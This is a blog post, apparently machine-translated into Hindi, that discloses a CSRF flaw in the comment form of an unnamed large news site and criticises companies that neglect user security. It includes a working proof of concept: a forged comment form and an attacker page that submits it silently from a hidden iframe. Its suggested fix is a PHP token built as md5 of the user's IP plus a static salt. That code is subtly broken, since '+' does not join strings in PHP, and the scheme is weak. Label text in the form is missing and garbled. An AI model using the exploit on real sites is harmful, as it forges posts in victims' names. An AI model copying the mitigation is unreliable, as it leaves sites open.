क्या बड़ी कंपनियों को उपयोगकर्ता सुरक्षा की उपेक्षा करने का अधिकार है?

गीतात्मक विषयांतर

एक स्थिति की कल्पना करें ... आप एक सरल इंटरनेट उपयोगकर्ता हैं। हर दिन आप विभिन्न साइटों पर जाते हैं, वहां समाचार पढ़ते हैं, सामाजिक नेटवर्क पर संवाद करते हैं, मेल ब्राउज़ करते हैं, आदि। सब कुछ हमेशा की तरह है। लेकिन एक दिन, वे आपके अपार्टमेंट के दरवाजे पर दस्तक देते हैं। इस सवाल पर "कौन है?" वे आपको जवाब देते हैं: "पुलिस खोलें!"। वे आपको सफेद हैंडल के नीचे ले जाते हैं और निकटतम विभाग में पहुंच जाते हैं। आप हैरान हैं "किस लिए?"। जवाब में, आप सुनते हैं: "जातीय घृणा को उकसाने के लिए कॉल करने वाले संदेशों के इंटरनेट पर व्यवस्थित प्रकाशन।" कैसे? क्यों? इस तरह का संदेश कभी नहीं लिखा! इन दावों के जवाब में, आपको कुछ प्रसिद्ध सूचना संसाधनों पर संदेशों की एक श्रृंखला दिखाई जाती है जो वास्तव में आपके खाते के नीचे से लिखे गए हैं और जिनकी सामग्री स्पष्ट रूप से रूसी संघ के कानूनों के विपरीत है। सबसे दिलचस्प बात यह है कि यहां तक ​​कि आईपी पते, जहां से संदेश भेजे गए थे, आपके घर के साथ मेल खाते हैं। शायद यह एक बिल्ली है जो आपके साथ रहती है, कीबोर्ड पर चलना, गलती से आपके लिए इन संदेशों को टाइप किया और विभिन्न साइटों पर भेजा गया। शायद वे भी आप पर विश्वास करेंगे ... और 2 साल के कारावास की अवधि का अनुमान क्षितिज पर लगाया गया है।
तो वास्तव में क्या हुआ? और निम्नलिखित हुआ ...

तथाकथित "प्रसिद्ध सूचना संसाधन" अपने उपयोगकर्ताओं की सुरक्षा के लिए बहुत गैर जिम्मेदाराना तरीके से संपर्क किया। यह प्रोग्रामर द्वारा लिखे गए छिद्रपूर्ण कोड के कारण है, इस पर खुद को संदेह किए बिना, कि आप घुसपैठियों का शिकार बन गए।

सिद्धांत की बिट

हम लंबे समय तक झाड़ी के आसपास नहीं जाएंगे, चलो तुरंत व्यापार के लिए नीचे उतरें। सीएसआरएफ जैसी कमजोरियां हैं। बहुत से लोग जानते हैं कि यह क्या है, लेकिन जो लोग जानते नहीं हैं, उनके लिए मैं विकिपीडिया से एक क्लिपिंग दूंगा:
CSRF (क्रॉस साइट रिक्वेस्ट फॉरगेरी, जिसे एक्सएसआरएफ भी कहा जाता है) वेबसाइट आगंतुकों पर एक प्रकार का हमला है जो HTTP प्रोटोकॉल के नुकसान का उपयोग करता है। यदि पीड़ित किसी हमलावर द्वारा बनाई गई साइट पर जाता है, तो उसकी ओर से गुप्त रूप से एक अन्य सर्वर (उदाहरण के लिए, भुगतान प्रणाली सर्वर) को एक अनुरोध भेजा जाता है जो कुछ दुर्भावनापूर्ण ऑपरेशन करता है (उदाहरण के लिए, किसी हमलावर के खाते में धन हस्तांतरित करना)। इस हमले को अंजाम देने के लिए, पीड़ित को उस सर्वर पर अधिकृत किया जाना चाहिए जिसके लिए अनुरोध भेजा गया है, और इस अनुरोध को उपयोगकर्ता से किसी भी पुष्टि की आवश्यकता नहीं होनी चाहिए, जिसे हमलावर स्क्रिप्ट द्वारा अनदेखा या नकली नहीं किया जा सकता है।
बस इस तरह की भेद्यता एक "प्रसिद्ध सूचना संसाधन" पर पाई गई (प्रति दिन उपस्थिति 2,000,000 से अधिक)। मैं जानबूझकर यहां इस संसाधन के नाम प्रदान नहीं करता हूं, जैसा कि एक सप्ताह (!) के बाद प्रशासन को "छेद" के बारे में सूचित किया गया, यह वही "छेद" अभी भी धूमिल नहीं हुआ है।

कुछ सड़क का जादू

हमारी साइट में एक समाचार अनुभाग है। वे अक्सर अपडेट किए जाते हैं, और आप लगभग हर समाचार आइटम के लिए अपनी टिप्पणी छोड़ सकते हैं। औसतन, कुछ सौ टिप्पणियाँ एक समाचार आइटम के लिए छोड़ दी जाती हैं। एक पाया भेद्यता का शोषण कैसे किया जा सकता है?
अपनी टिप्पणी जोड़ने की कोशिश कर रहा है। हमें एक ऐसे फॉर्म का सामना करना पड़ता है जिसे संदेश भेजने के लिए पूरा करने की आवश्यकता होती है।

पृष्ठ का स्रोत कोड खोलें। हम संदेश भेजने के फॉर्म के गठन के लिए जिम्मेदार कोड की तलाश कर रहे हैं।

<form onsubmit="return checkNCForm(this);" method="post" name="comment" action="/politics/7082376/comments/#add_begin"> <input type="hidden" value="1" name="save"> <input type="hidden" value="1" name="begin_reply"> <div class="description">   ,    /     .<br><br>   :<br> -    ;<br> -  , , ;<br> -       ;<br> -       ;<br> -     ;<br> -   ;<br> -  .        </div> <input type="hidden" value="1" name="doauth"> <div class="form"> <table> <tbody><tr> <th> :</th> <td><input type="text" class="readonly" readonly="readonly" value=" "></td> </tr> <tr> <th>:</th> <td><input type="text" value="" maxlength="60" name="title"></td> </tr> <tr> <th>:</th> <td><textarea rows="5" cols="30" name="text"></textarea></td> </tr> <tr> <th></th> <td class="submit"> <input type="submit" value=""> <a href="/politics/7082376/comments/?" onclick="return closeNCForm();"></a> </td> </tr> </tbody></table> </div></form> 

सामग्री से हम देखते हैं कि प्रेषक की प्रामाणिकता कहीं भी सत्यापित नहीं है। आमतौर पर यह विभिन्न मापदंडों में से कुछ हैश है। हम सभी अनावश्यक को मूल रूप से निकाल देंगे और आवश्यक पाठ के साथ फ़ील्ड भरें।

 <form method="post" name="comment" action="http://news.example.ru/politics/7082376/comments/#add_begin" > <input type="hidden" value="1" name="save"> <input type="hidden" value="1" name="begin_reply"> <input type="hidden" value="1" name="doauth"> <input type="text" class="readonly" readonly="readonly" value=" "> <input type="text" value="" maxlength="60" name="title"> <textarea rows="5" cols="30" name="text">  :)</textarea> <input type = "hidden" value=""> <input type = "submit"> </form> 

फार्म तैयार है, खेत भर गए हैं। अब हमलावर को यह सुनिश्चित करने की आवश्यकता है कि जब उपयोगकर्ता अपनी साइट पर जाता है, तो हमलावर द्वारा उत्पन्न एक संदेश उपयोगकर्ता के खाते से उसकी जानकारी के बिना निर्दिष्ट समाचार पर भेजा जाता है। ऐसा करने के लिए, हमलावर एक आइफ्रेम में नवगठित रूप रखता है, जो इसे उपयोगकर्ता के लिए अदृश्य बना देगा। जावास्क्रिप्ट का उपयोग करके फॉर्म जमा करें। हमलावर पृष्ठ का कोड कुछ इस प्रकार होगा:

 <script> function submit_form(){ window.evilframe.document.forms[0].submit(); } </script> <iframe name='evilframe' src='form.html' style='display:none' onLoad=submit_form();></iframe> evil page in action... 

जहां form.html फर्जी फॉर्म है।
जब उपयोगकर्ता हमलावर साइट पर जाता है, तो हमारे "सूचना संसाधन" पर, हमलावर द्वारा पहचाने गए समाचारों की टिप्पणियों में, वह अपनी टिप्पणी देख सकता है:

बस, सबसे अधिक संभावना है, वह यह भी नहीं जानता होगा कि उसने एक टिप्पणी कहीं छोड़ दी है।
मैंने इस भेद्यता का खुद पर परीक्षण किया, और प्रयोग के बारे में अग्रिम चेतावनी में अपने एक मित्र के साथ इसमें भाग लेने के लिए कहा। किसी विशिष्ट लिंक पर जाने के बाद, परिणाम अपेक्षित था:

यह "इलाज" कैसे है?

इस भेद्यता को एक छिपे हुए फ़ील्ड को प्रपत्र में जोड़कर तय किया जा सकता है, जिसमें एक निश्चित एल्गोरिदम के अनुसार वर्णों का एक निश्चित समूह बनता है। एक हमलावर के लिए सीएसआरएफ जैसे हमले को करने में सक्षम होने के लिए, एक शुरुआत के लिए उसे इस चरित्र को सही ढंग से सेट करने की आवश्यकता है।
मैं एक सरल उदाहरण दूंगा। इस स्थिति में, हैश md5 एक विशिष्ट वर्ण सेट के रूप में कार्य करेगा। हम इसे अभिव्यक्ति से लेंगे: [उपयोगकर्ता का आईपी पता] + [यादृच्छिक पात्रों का स्थिर सेट]।

 $hash = md5($_SERVER['REMOTE_ADDR']+'46d6dfvlw8e9hb'); echo '<input name="hash" type="hidden" value="'.$hash.'">'; 

सर्वर पर, फॉर्म सबमिट करने के बाद, हम अपने हैश की जाँच करते हैं।

 $hash = md5($_SERVER['REMOTE_ADDR']+'46d6dfvlw8e9hb'); if (isset($_POST["otvet"]) && ($hash == $_POST["hash"])) { - } else {,   }; 

मुख्य बात के बारे में संक्षेप में

यह वर्ष सूचना सुरक्षा समस्याओं के क्षेत्र में एक मील का पत्थर बन गया है। बड़ी कंपनियों की कई साइटें हैक हो चुकी हैं। ज्यादातर मामलों में, इन हैक को इस तथ्य के कारण किया गया था कि कंपनी प्रबंधन ने सूचना सुरक्षा मुद्दों पर उचित ध्यान नहीं दिया था। एक नियम के रूप में, इन संसाधनों के सरल उपयोगकर्ताओं को मुख्य रूप से सामना करना पड़ा: क्रेडेंशियल, मेलबॉक्स, क्रेडिट कार्ड डेटा, आदि।
इस संबंध में, मैं इस विषय के शीर्षक में प्रश्न पर वापस आना चाहूंगा। क्या बड़ी कंपनियों को अपने उपयोगकर्ताओं की सुरक्षा की उपेक्षा करने का अधिकार है? क्या ग्राहकों / उपयोगकर्ताओं की सुरक्षा की सुरक्षा के लिए सूचना सुरक्षा के क्षेत्र में विशेषज्ञों को बचाना संभव है? जब वे गंभीर कमजोरियों की खोज के बाद भी हफ्तों या महीनों तक बने रहते हैं, तो क्या लापरवाही की सजा दी जानी चाहिए? हो सकता है कि आपको किसी तरह के मानकीकरण की आवश्यकता हो जो बड़ी कंपनियों को अपनी सेवाओं में पालन करना चाहिए? आइए इस विषय के बारे में सोचते हैं, या हो सकता है कि वर्तमान संरचना को हिला देने के लिए कुछ कार्रवाई करें ...

अद्यतन: थोड़ा विषय का नाम बदल दिया है। और फिर यह किसी भी तरह से निकला और बिल्कुल सही ढंग से नहीं :(